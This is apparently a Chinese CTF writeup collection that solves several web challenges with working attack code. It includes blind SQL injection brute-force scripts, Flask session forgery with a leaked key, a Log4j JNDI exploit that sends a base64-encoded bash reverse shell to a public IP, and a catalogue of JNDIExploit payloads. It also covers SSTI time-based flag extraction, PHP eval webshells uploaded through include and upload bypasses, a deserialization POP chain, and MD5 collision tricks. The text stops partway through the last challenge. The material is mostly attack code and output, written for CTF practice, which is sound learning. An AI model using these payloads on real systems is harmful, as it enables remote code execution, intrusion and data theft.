9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

没有过滤like,可以尝试like报错注入,%是一个通配符,表示任意数量的任意字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://node4.anna.nssctf.cn:28612'

paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag = ""
for i in paylaod_list:
data = {
'username': 'admin',
'password': f"1'/**/or/**/password/**/like/**/'{i}%'#",
}

re = requests.post(url,data = data)
print(f"i={i} {re.text}")

image-20240724210724412

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
url = 'http://node4.anna.nssctf.cn:28612'

paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"
flag = ""
for m in range(40):
for i in paylaod_list:
data = {
'username': 'admin',
'password': f"1'/**/or/**/password/**/like/**/'{flag}{i}%'#",
}

re = requests.post(url,data = data)
time.sleep(0.1)
if 'wrong password' in re.text:
flag += i
print(flag)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time
import requests

url = 'http://node4.anna.nssctf.cn:28612'
flag = ''
zifu="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
print(zifu)
while True:
for i in zifu:
data={
"username": "admin",
"password": f"1'or/**/password/**/like/**/'{flag+i}%'#"
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in res.text:
flag+=i
print(flag)
break
else:
pass

image-20240724212618274

[NSSRound#13 Basic]flask?jwt?

注册账号进去拿flag

image-20240727210036935

忘记密码处有secretkey

1
<!-- secretkey: th3f1askisfunny -->

image-20240727210155883

image-20240727210408582

直接拿去解密

1
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBd_O7DwQZMlonAgNqv07yq7t5IneDuU45ccT7L_l5XPMrx8rKX0ZVhcDK1FAgCaBLYK_lskDMMJ4ZvDFWydUBB28CmW3LL2kRJtM9qJoiJZAQdYPTgUNdpLIQ-whSpsjM3F8esyqY3wLOWO3Kdsf4bKN8frIcvsQ.ZqTwRQ.gQDifRFlzKt9DirA8xhKUx8c45E"

image-20240727210430001

得到

1
{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '2'}

修改一下,admin的id属性直接盲猜1

1
{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}

payload

1
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}"

image-20240727210937825

替换cookie拿flag

image-20240727211017752

登陆就有flag

1
'^0#

空异或0会查到所有非数字开头的记录

引号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等

Log4j复现

前置知识
LDAP
轻量级的目录搜寻协议,提供目录服务

JNDI
Java的一个接口,JNDI避免了程序与数据库之间的紧耦合

我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器

dnslog
A记录:Address 域名对应的IP地址

https://www.cnblogs.com/sunny11/p/14399420.html

image-20240807192941789

PAYLOAD

1
${jndi:ldap://r0303l.dnslog.cn}

image-20240807193103537

存在相关漏洞

image-20240807193111668

log4j会记录数据包的一些内容(比如url、cookie等等),此外,他还拥有一定数据分析处理能力,这种能力能够简化程序员的开发,但同时也带来了log4j的这个漏洞。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help

[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/[cmd]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/Basic/TomcatEcho
ldap://null:1389/Basic/SpringEcho
ldap://null:1389/Basic/WeblogicEcho
ldap://null:1389/Basic/TomcatMemshell1
ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://null:1389/Basic/JettyMemshell
ldap://null:1389/Basic/WeblogicMemshell1
ldap://null:1389/Basic/WeblogicMemshell2
ldap://null:1389/Basic/JBossMemshell
ldap://null:1389/Basic/WebsphereMemshell
ldap://null:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://null:1389/Deserialization/URLDNS/[domain]
ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://null:1389/Deserialization/C3P0/SpringEcho
ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells

[+] TomcatBypass Queries
ldap://null:1389/TomcatBypass/Dnslog/[domain]
ldap://null:1389/TomcatBypass/Command/[cmd]
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/TomcatBypass/TomcatEcho
ldap://null:1389/TomcatBypass/SpringEcho
ldap://null:1389/TomcatBypass/TomcatMemshell1
ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://null:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
ldap://null:1389/GroovyBypass/Command/[cmd]
ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
ldap://null:1389/WebsphereBypass/List/file=[file or directory]
ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]#

先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码

注:IP填vps公网ip,PORT要和nc监听的端口对应

1
2
3
4
bash -i >& /dev/tcp/IP/PORT 0>&1
bash -i >& /dev/tcp/101.37.27.18/4444 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx
# => YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx

然后启动JNDIExploit

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101.37.27.18 -l 1389 -p 8180

用nc监听端口

1
nc -lvnp 4444

payload

1
${jndi:ldap://101.37.27.18:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx}

终端1

image-20240807201100972

终端2

image-20240807201111841

image-20240807201133456

击剑杯-近在眼前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3

from flask import Flask, render_template_string, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["10000 per hour"]
)


@limiter.limit("5/second", override_defaults=True)
@app.route('/')
def index():
return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read()


@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
flag = open("/app/flag.txt", 'r').read().strip()
if "input" in request.args:
query = request.args["input"]
render_template_string(query)
return "Thank you for your input."
return "No input found."


app.run('0.0.0.0', 80)

发现Flask 应用的 check 路由存在安全漏洞:

1
2
3
4
5
6
7
8
9
@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
flag = open("/app/flag.txt", 'r').read().strip()
if "input" in request.args:
query = request.args["input"]
render_template_string(query) # 此处存在 SSTI 漏洞
return "Thank you for your input."
return "No input found."

render_template_string(query) 函数直接渲染了用户提供的输入(query),导致存在 SSTI 漏洞。

render_template_string 是 Flask 提供的一个函数,用于将模板字符串渲染为最终的 HTML 输出。它类似于 render_template,但区别在于 render_template 是从文件系统加载模板文件,而 render_template_string 是直接渲染传递给它的字符串。

render_template_string 的工作原理

render_template_string 会将传递给它的模板字符串与上下文变量进行结合,然后使用 Jinja2 模板引擎来渲染字符串并生成最终的 HTML 输出。例如:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template_string,request

app = Flask(__name__)

@app.route('/greet')
def greet():
name = "Alice"
name = request.args["input"]
template = "Hello, {{ name }}!"
return render_template_string(template, name=name)

app.run()

在这个例子中,render_template_string 函数将字符串 "Hello, {{ name }}!" 与上下文变量 name 结合

image-20240807225003690

如何导致 SSTI 漏洞

当用户输入直接传递给 render_template_string 而不进行任何过滤或验证时,就可能引发服务器端模板注入(SSTI)漏洞。例如:

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/ssti')
def ssti():
user_input = request.args.get('input', '')
return render_template_string(user_input)

app.run()

在这个例子中,user_input 直接来自用户请求参数,并被传递给 render_template_string。如果用户传递一个恶意的模板表达式作为输入,就可能导致任意代码执行:

1
http://example.com/ssti?input={{ 7*7 }}

这种请求会导致 Flask 渲染模板字符串 {{ 7*7 }},并返回结果 49

image-20240807225109328

更严重的例子:

1
http://example.com/ssti?input={{ "__import__('os').popen('ls').read()" }}

这个请求利用了 Jinja2 模板的强大功能,调用 Python 的内置函数执行系统命令,可能会暴露服务器的文件系统信息或执行任意代码。

防御措施

为了防止 SSTI 漏洞,应避免直接渲染用户输入的字符串。可以采取以下措施:

  1. 输入验证和清理:对用户输入进行严格的验证和清理。
  2. 避免直接渲染用户输入:尽量不要将用户输入直接传递给 render_template_string
  3. 使用沙箱环境:如果必须渲染用户提供的模板,考虑使用沙箱环境来限制模板的功能。

例子:

防止 SSTI 的一种方法是将用户输入进行转义,确保用户输入不会被解析为模板表达式:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request, escape

app = Flask(__name__)

@app.route('/safe_ssti')
def safe_ssti():
user_input = request.args.get('input', '')
safe_input = escape(user_input)
return render_template_string("User input: {{ input }}", input=safe_input)

app.run()

在这个例子中,escape 函数对用户输入进行了转义,确保它作为普通字符串而不是模板表达式进行渲染。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests as req
import time

char_set = "1234567890abcdef-"
sess = req.session()
flag = {}
for i in range(1, 46):
for c in char_set:
url = r"""http://045c5218-6cbf-40a3-a131-718130bef6d9.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (i, c)
time.sleep(0.2)
resp = sess.get(url)
if resp.elapsed.seconds >= 2:
print(c, end='')
flag[i] = c
print(flag)

单身杯web签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
if(strrev($file)==$file){
include $file;
}

}

data协议后,php标记?>闭合后可以加任意字符。

image-20240807231322397

到这里就可以看到php代码已经执行,后面的已经被?>所截断

image-20240807231420222

exp

1
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('nl /f1agaaa');

image-20240807231459137

[GHCTF 2024]PermissionDenied

题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}
12345678910111213141516171819202122232425

file_put_content函数有一个文件解析的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

123.php内容

1
<?php eval($_POST[0]);phpinfo();?>

脚本

1
2
3
4
5
6
7
8
import requests

url = "http://node5.anna.nssctf.cn:25045/"
file = {
"file":("123.php%2f.",open('123.php','r'))
}
res = requests.post(url=url,files=file).text
print(res)

image-20240817140038899

给你shell

image-20240817214950410

image-20240817215000531

1
https://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?view_source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s); // 把s以:分割成数组
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true; // 检查$arr[1]是否由数字和英文字母A-Z还有"组成
} else {
if ( ! theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g); // md5加密
$_h_p = strtoupper($_m_u); // 转成大写
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1); // 从第一位开始,一个一个的取
$_i = ord($_i); //返回 $_i 的 ASCII值:
print_r($_i & 0xC0); // 按位与运算11000000 数字都会变成1输出,而字母都会变成0输出
}
die;
}
// 如果没有按位与运算的话,可以把输出的ASCII值返回成字符串再md5解密一下


isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
// 判断有无secret
// 通过secret赋值给$json,再通过$json建立$obj
// json_decode() 将json格式的数据转换为对象,数组,转换为数组要加true
// json的secret需要满足 checkCookie($s) 里面的条件


if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
/*要让传入的secret为 $flag_md5,这里就存在漏洞了,利用php的弱类型比较,但是这里又有个问题,在json_decode()返回""里面的内
容是字符串,就不能进行弱类型比较了,但是如果里面的内容,比如数字,没有被""括起来,返回的就是个int整数,所以注意把""删去,也
就是{"secret":123},这里开始没注意到还被坑了,一直没有爆破出来
*/
die;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from tqdm import tqdm
url = 'http://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?give_me_shell='
s = requests.session()

for i in tqdm(range(1000)):
headers = {
'cookie': f'secret={{"secret": {i}}}'
}
res = s.get(url,headers = headers)
if 'here is your webshell' in res.text:
print(headers)
print(res.text)
break

image-20240817221038792

得到webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
D:\python3.7\python.exe C:\Users\31702\Desktop\123.py 
12%|█▏ | 115/1000 [00:02<00:20, 42.35it/s]
{'cookie': 'secret={"secret": 115}'}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>real easy checkin</title>
<link href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap" rel="stylesheet" />
<style>
body {
margin: 0;
}
p {
font-family: "Inconsolata", monospace;
text-align: center;
font-size: 64px;
vertical-align: middle;
user-select: none;
margin: 0;
}
.flexmagic {
display: flex;
align-items: center;
justify-content: center;
height: 90%;
position: absolute;

margin: 0;
width: 100%;
flex-direction: column;
}
*{margin:0px; padding:0px;}
.botCenter{width:100%; height:35px; line-height:35px; background:#ffffff; position:fixed; bottom:0px; left:0px; font-size:14px; color:#000; text-align:center;}
</style>

</head>
<body>
<a href="https://gem-love.com/" target="_blank"><div class="botCenter">@颖奇L'Amore</div></a>
<a href='./?view_source' target="_blank"><button hidden></button></a>
<div>
<div class="flexmagic">
<p id="magic">I prepared a webshell for you<br>
here is your webshell: w3b5HeLLlll123.php </p>
</div>
</div>


</body>
</html>

<!--flag is in /flag.txt-->


进程已结束,退出代码为 0

moectf勇闯铜人阵

算术题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import time
from bs4 import BeautifulSoup

session = requests.Session()

base_url = 'http://127.0.0.1:64459/'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
}

directions_map = {
'1': '北方',
'2': '东北方',
'3': '东方',
'4': '东南方',
'5': '南方',
'6': '西南方',
'7': '西方',
'8': '西北方'
}

combinations_map = {
'1, 2': '北方一个,东北方一个', '2, 1': '东北方一个,北方一个',
'1, 3': '北方一个,东方一个', '3, 1': '东方一个,北方一个',
'1, 4': '北方一个,东南方一个', '4, 1': '东南方一个,北方一个',
'1, 5': '北方一个,南方一个', '5, 1': '南方一个,北方一个',
'1, 6': '北方一个,西南方一个', '6, 1': '西南方一个,北方一个',
'1, 7': '北方一个,西方一个', '7, 1': '西方一个,北方一个',
'1, 8': '北方一个,西北方一个', '8, 1': '西北方一个,北方一个',
'2, 3': '东北方一个,东方一个', '3, 2': '东方一个,东北方一个',
'2, 4': '东北方一个,东南方一个', '4, 2': '东南方一个,东北方一个',
'2, 5': '东北方一个,南方一个', '5, 2': '南方一个,东北方一个',
'2, 6': '东北方一个,西南方一个', '6, 2': '西南方一个,东北方一个',
'2, 7': '东北方一个,西方一个', '7, 2': '西方一个,东北方一个',
'2, 8': '东北方一个,西北方一个', '8, 2': '西北方一个,东北方一个',
'3, 4': '东方一个,东南方一个', '4, 3': '东南方一个,东方一个',
'3, 5': '东方一个,南方一个', '5, 3': '南方一个,东方一个',
'3, 6': '东方一个,西南方一个', '6, 3': '西南方一个,东方一个',
'3, 7': '东方一个,西方一个', '7, 3': '西方一个,东方一个',
'3, 8': '东方一个,西北方一个', '8, 3': '西北方一个,东方一个',
'4, 5': '东南方一个,南方一个', '5, 4': '南方一个,东南方一个',
'4, 6': '东南方一个,西南方一个', '6, 4': '西南方一个,东南方一个',
'4, 7': '东南方一个,西方一个', '7, 4': '西方一个,东南方一个',
'4, 8': '东南方一个,西北方一个', '8, 4': '西北方一个,东南方一个',
'5, 6': '南方一个,西南方一个', '6, 5': '西南方一个,南方一个',
'5, 7': '南方一个,西方一个', '7, 5': '西方一个,南方一个',
'5, 8': '南方一个,西北方一个', '8, 5': '西北方一个,南方一个',
'6, 7': '西南方一个,西方一个', '7, 6': '西方一个,西南方一个',
'6, 8': '西南方一个,西北方一个', '8, 6': '西北方一个,西南方一个',
'7, 8': '西方一个,西北方一个', '8, 7': '西北方一个,西方一个'
}


def get_direction(numbers):
if ',' in numbers:
return combinations_map.get(numbers, '未知组合')
else:
return directions_map.get(numbers, '未知方位')

# 开始游戏
start_data = {
'player': 'zxy',
'direct': '弟子明白'
}
response = session.post(base_url, headers=headers, data=start_data)
for i in range(6):
soup = BeautifulSoup(response.text, 'html.parser')
numbers = soup.find('h1', id='status').text.strip()
print(f"接收到的数字组合: {numbers}")

# 计算方位
direction = get_direction(numbers)
print(f"计算出的方位: {direction}")

# 提交方位
answer_data = {
'player': 'zxy',
'direct': direction
}
time.sleep(1)
response = session.post(base_url, headers=headers, data=answer_data)
print(f"提交了方位{answer_data}")

BASECTF [Week2] Really EZ POP

关于pop链的私有属性反射机制以及一些过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

class Sink
{
private $cmd = "system('cat\t/fl*');";
public function __toString()
{
eval($this->cmd); //0 shell
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word; //1 Sink
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani(); //2 Shark
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see; //3 Sea
}
}

$nature = new Nature();
$sea = new Sea();
$shark = new Shark();
$sink = new Sink();

$sharkReflection = new ReflectionClass('Shark');
$wordProperty = $sharkReflection->getProperty('word');
$wordProperty->setAccessible(true);
$wordProperty->setValue($shark, $sink);

$sea->animal = $shark;
$nature->sea = $sea;

echo urlencode(serialize($nature));

BaseCTF 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
  • 第一个地方用的强比较, 我们可以利用数组绕过
  • 第二个地方强转成了 string, 此时数组会变成 Array 无法绕过

此时我们可以利用第二个地方的弱比较, 让 0e 开头的字符串使 php 误认为是科学计数法, 从而转换为 0

  • 第三个地方第二个地方用了强比较, 此时我们需要找到真实的 MD5 值一致的内容, 我们可以使用 fastcoll 工具

https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

通过调用

1
fastcoll_v1.0.0.5.exe -o a.txt a1.txt

image-20240829184114078

可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入

1
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第四个地方考了 哈希长度拓展攻击

https://wiki.wgpsec.org/knowledge/ctf/Hash-Leng-Extension.html

参考文章: https://luoingly.top/post/md5-length-extension-attack/

使用工具 https://github.com/luoingly/attack-scripts/blob/main/logic/md5-extension-attack.py

此时可以拓展出 admin 尾缀

Basectf [Week4] flag直接读取不就行了?

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
